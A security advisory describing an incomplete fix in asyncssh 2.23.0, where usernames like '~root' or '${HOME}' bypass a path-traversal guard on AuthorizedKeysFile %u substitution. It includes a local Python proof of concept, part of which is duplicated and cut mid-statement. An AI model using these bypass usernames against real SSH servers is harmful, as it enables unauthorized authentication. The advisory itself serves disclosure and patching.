GHSA-qr67-gv47-xwwh: Path Traversal
Incomplete fix for CVE-2026-45309 (GHSA-g794-3fmp-753h). The 2.23.0 guard that sanitises the SSH username before %u substitution in AuthorizedKeysFile blocks /, \ and .., but does not block a leading ~ (or ${ENV}), both of which are re-introduced by later expansion and reach the file open — defeating the guard.
Affected: asyncssh 2.23.0 and current develop (commit a60f863, HEAD on 2026-05-29).
## Summary The fix for CVE-2026-45309 added a guard in SSHServerConfig.settokens (asyncssh/config.py:715-716) that rejects an SSH username containing /, \, or equal to .., before it is substituted for the %u token in AuthorizedKeysFile:
if self.user == '..' or '/' in self.user or '\\' in self.user: raise IllegalUserName('Unsafe username substitution')
However, the %u-substituted value is subsequently passed through environment-variable expansion (expandval, config.py:145-149 — token expansion then env expansion) and, at file-open time, through expanduser() (readauthorizedkeys → readfile → open(Path(filename).expanduser()), authkeys.py:348 → misc.py:290). Both re-introduce the path control the guard was meant to remove, so a username that contains no //\ can still cause the server to read an authorized-keys file outside the intended per-user directory.
The client-supplied username reaches this path pre-authentication: processuserauthrequest takes the username from the SSHMSGUSERAUTHREQUEST packet (connection.py:2516-2519) and finishuserauth calls reloadconfig() (connection.py:2536), which re-evaluates AuthorizedKeysFile with username=self.username (connection.py:5906) before the offered key is validated.
## Primary vector — leading ~ A username such as ~root or ~victim passes the guard (no /). For a server whose AuthorizedKeysFile begins with %u — e.g. AuthorizedKeysFile %u/.ssh/authorizedkeys — the expanded value is ~victim/.ssh/authorizedkeys, which expanduser() resolves to /home/victim/.ssh/authorizedkeys (~root → /root/...; a bare ~ → the server process's home). The username has therefore escaped the intended per-user location without using any path separator — defeating the purpose of the guard.
Note: expanduser() only expands a leading ~, so this vector requires %u to be the first path component of AuthorizedKeysFile. (The CVE-2026-45309 authorizedkeys/%u example — %u not leading — is not reachable this way; that was the ../ form.)
## Impact and limitations - Demonstrated (verified against source at a60f863): the guard is bypassable and the authorized-keys lookup is redirected to an attacker-named home tree, pre-auth, with a separator-free username. - Impact model = identical to CVE-2026-45309: authenticating as the redirected username when a readable authorized-keys file containing the attacker's key is reachable at the redirected location. The parent CVE accepted this exact precondition and was scored C:N/I:H/A:N; this is scored consistently. - Not built: a live multi-account SSH auth harness; the PoC verifies the path-redirection mechanism in-process, deterministically. No new primitive is claimed beyond the parent CVE's accepted model — only that the 2.23.0 fix does not close it for ~/${ENV}. - Preconditions (captured by AC:H): %u must be the leading path component; on Python 3.13, Path('~nonexistentuser').expanduser() raises RuntimeError, so only existing accounts are reachable (confirmed: asyncssh 2.23.0, Python 3.13.12).
## Secondary vector — ${ENV} (defense-in-depth only) A username like ${HOME} also passes the guard and is then environment-expanded, re-introducing /. Weaker and not a practical exploit: the attacker can only reference env vars that already exist in the server process (a missing variable raises ConfigParseError) and cannot control their values. Reported as hardening.
## Reproduction In-process, deterministic, no network. Against a checkout of asyncssh 2.23.0:
cd /path/to/asyncssh PYTHONPATH=/path/to/asyncssh python3 pocauthkeystokenbypass.py
Output (abridged):
[1] original CVE '../../../../tmp/evil' blocked: True (fix present) literal-slash user '/etc' blocked: True [A] tilde bypass user '~root': guard blocks it? False (False == bypass) expanded config value : ['~root/.ssh/authorizedkeys'] after expanduser() : /root/.ssh/authorizedkeys <-- read as authorizedkeys VERDICT: guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)
## Suggested fix Tighten settokens to also reject usernames that re-introduce path control after expansion — reject a leading ~ / ~user and $/${ references in self.user. More robustly, validate that the FINAL expanded AuthorizedKeysFile path remains within the intended base directory, and/or suppress expanduser/environment expansion on the %u-derived component specifically.
## Disclosure Coordinated, ~90-day default. I will not publish details/PoC before a fix is released, and am happy to validate the patch. Credit (if given) to cesabici-bit.
## PoC source (see code block below)
python #!/usr/bin/env python3 """ PoC: incomplete fix for CVE-2026-45309 (AsyncSSH AuthorizedKeysFile %u path control). Local-only, in-process, deterministic. No network.
CVE-2026-45309 (fixed in v2.23.0, commit 2af2382) added a blocklist in SSHServerConfig.settokens that rejects a client username containing '/', '\\', or equal to '..' before it is substituted for the %u token in the server's AuthorizedKeysFile directive.
This PoC shows the blocklist is bypassable: the %u value is afterwards run through (1) ${ENV} expansion and (2) ~ expanduser(), both of which re-introduce the path control the guard was meant to remove.
CAVEAT (triage 2026-05-29): the PRIMARY vector is (2) ~ expanduser() — it lets a separator-free username (e.g. '~root') escape to another home tree when %u is the LEADING path component. Vector (1) ${ENV} is WEAK: a real attacker can only REFERENCE env vars that already exist on the server and cannot control their VALUES; the ${ASYNCSSHPOCVAR} demo below sets the var itself purely to illustrate the expansion, and does NOT represent attacker capability. Treat (1) as defense-in-depth, (2) as the load-bearing finding. See NOTES.md / REPORT.md.
Run from a checkout of asyncssh (cwd on sys.path), e.g.: cd /tmp/targets/asyncssh && python3 <thisfile> """
import os import sys import tempfile from pathlib import Path
import asyncssh from asyncssh.config import SSHServerConfig
try: from asyncssh.misc import IllegalUserName except Exception: # pragma: no cover IllegalUserName = asyncssh.IllegalUserName
def expandauthkeys(user, cfgtext): """Load a server config exactly as SSHServerConnection does and return the expanded AuthorizedKeysFile value (a list). Raises IllegalUserName if the CVE-2026-45309 guard fires.""" with tempfile.NamedTemporaryFile("w", suffix=".conf", delete=False) as f: f.write(cfgtext) cfgpath = f.name try: # mirror connection.py:8897 # SSHServerConfig.load(lastconfig, config, reload, canonical, final, # acceptaddr, acceptport, username, # clienthost, clientaddr) cfg = SSHServerConfig.load( None, cfgpath, True, False, False, "127.0.0.1", 22, user, "client.example", "203.0.113.7", ) return cfg.get("AuthorizedKeysFile") finally: os.unlink(cfgpath)
def guardblocks(user, cfgtext): """Return True if the CVE-2026-45309 guard rejects this username.""" try: expandauthkeys(user, cfgtext) return False except IllegalUserName: return True
def main(): print(f"# asyncssh {asyncssh.version} ({asyncssh.file})") print(f"# python {sys.version.split()[0]}\n")
results = []
# ---- Sanity 0: benign username expands normally ----------------------- cfg = "AuthorizedKeysFile /etc/ssh/authorizedkeys.d/%u" val = expandauthkeys("alice", cfg) print(f"[0] benign user 'alice': {val}") results.append(("benign expands to per-user path", val == ["/etc/ssh/authorizedkeys.d/alice"]))
# ---- Sanity 1: original CVE-2026-45309 is blocked --------------------- blocked = guardblocks("../../../../tmp/evil", cfg) print(f"[1] original CVE '../../../../tmp/evil' blocked: {blocked}") results.append(("original CVE traversal is blocked (fix present)", blocked))
# also: a literal slash is blocked (the guard's whole purpose) slashblocked = guardblocks("/etc", cfg) print(f" literal-slash user '/etc' blocked: {slashblocked}") results.append(("literal-slash username is blocked", slashblocked))
print()
# ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() ------- cfga = "AuthorizedKeysFile %u/.ssh/authorizedkeys" blockeda = guardblocks("~root", cfga) vala = expandauthkeys("~root", cfga) resolveda = str(Path(vala[0]).expanduser()) # what readfile()/openfile() does print(f"[A] tilde bypass user '~root':") print(f" guard blocks it? {blockeda} (False == bypass)") print(f" expanded config value : {vala}") print(f" after expanduser() : {resolveda} <-- read as authorizedkeys") results.append(("A: ~user NOT blocked by guard", not blockeda)) results.append(("A: expanduser() redirects to another home tree", resolveda.startswith("/root/") or "~" not in resolveda))
print()
# ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' ----------- # The username contains no '/','\\' and is not '..', so the guard passes. # Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a # server value that DOES contain '/', defeating the separator filter. cfgb = "AuthorizedKeysFile %u" os.environ.setdefault("HOME", "/root") blockedb = guardblocks("${HOME}", cfgb) valb = expandauthkeys("${HOME}", cfgb) print(f"[B] env bypass user '${{HOME}}':") print(f" guard blocks it? {blockedb} (False == bypass)") print(f" expanded config value : {valb} (HOME={os.environ['HOME']})") sepinjected = any("/" in p for p in valb) print(f" contains '/' after guard? {sepinjected} <-- separator filter bypassed") results.append(("B: ${ENV} username NOT blocked by guard", not blockedb)) results.append(("B: ${ENV} re-introduces '/' the guard rejected literally", sepinjected))
# demonstrate arbitrary '/'-containing absolute path via a referenced var os.environ["ASYNCSSHPOCVAR"] = "/tmp/asyncsshpoc/INJECTED/authorizedkeys" valb2 = expandauthkeys("${ASYNCSSHPOCVAR}", cfgb) print(f" via referenced env var: {valb2}") results.append(("B: env value yields absolute '/'-path post-guard", valb2 == ["/tmp/asyncsshpoc/INJECTED/authorizedkeys"]))
# ---- verdict ---------------------------------------------------------- print("\n==== RESULTS ====") ok = True for name, passed in results: print(f" [{'PASS' if passed else 'FAIL'}] {name}") ok = ok and passed print("\nVERDICT:",
print()
# ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' ----------- # The username contains no '/','\\' and is not '..', so the guard passes. # Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a # server value that DOES contain '/', defeating the separator filter. cfgb = "AuthorizedKeysFile %u" os.environ.setdefault("HOME", "/root") blockedb = guardblocks("${HOME}", cfgb) valb = expandauthkeys("${HOME}", cfgb) print(f"[B] env bypass user '${{HOME}}':") print(f" guard blocks it? {blockedb} (False == bypass)") print(f" expanded config value : {valb} (HOME={os.environ['HOME']})") sepinjected = any("/" in p for p in valb) print(f" contains '/' after guard? {sepinjected} <-- separator filter bypassed") results.append(("B: ${ENV} username NOT blocked by guard", not blockedb)) results.append(("B: ${ENV} re-introduces '/' the guard rejected literally", sepinjected))
# demonstrate arbitrary '/'-containing absolute path via a referenced var os.environ["ASYNCSSHPOCVAR"] = "/tmp/asyncsshpoc/INJECTED/authorizedkeys" valb2 = expandauthkeys("${ASYNCSSHPOCVAR}", cfgb) print(f" via referenced env var: {valb2}") results.append(("B: env value yields absolute '/'-path post-guard", valb2 == ["/tmp/asyncsshpoc/INJECTED/authorizedkeys"]))
# ---- verdict ---------------------------------------------------------- print("\n==== RESULTS ====") ok = True for name, passed in results: print(f" [{'PASS' if passed else 'FAIL'}] {name}") ok = ok and passed print("\nVERDICT:", "guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)" if ok else "one or more checks did not hold") return 0 if ok else 1
if name == "main": sys.exit(main())
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/asyncsshto a version that resolves this vulnerability.Fixed in 2.23.1
Event History
Frequently Asked Questions
Which deployments are exposed to this issue?
AsyncSSH 2.23.0 and the develop branch at commit a60f863, HEAD as of 2026-05-29, are identified as affected. Exposure depends on using an AuthorizedKeysFile path containing the %u token, where an attacker-controlled SSH username is substituted.
What does an attacker need to exploit the issue?
An attacker must be able to supply an SSH username used in %u substitution. A username beginning with ~ or containing ${ENV} can bypass the existing checks because later environment-variable and home-directory expansion can alter the resulting path.
Are the username checks added in 2.23.0 sufficient mitigation?
No. The checks reject /, \, and a username equal to .., but they do not reject leading ~ or ${ENV} values, which are expanded after the validation occurs.
What configuration change can reduce exposure until an updated fix is available?
Avoid using %u in AuthorizedKeysFile paths where the substituted SSH username can be attacker-controlled. This prevents the username from reaching the later environment and home-directory expansion stages in the authorized-keys file path.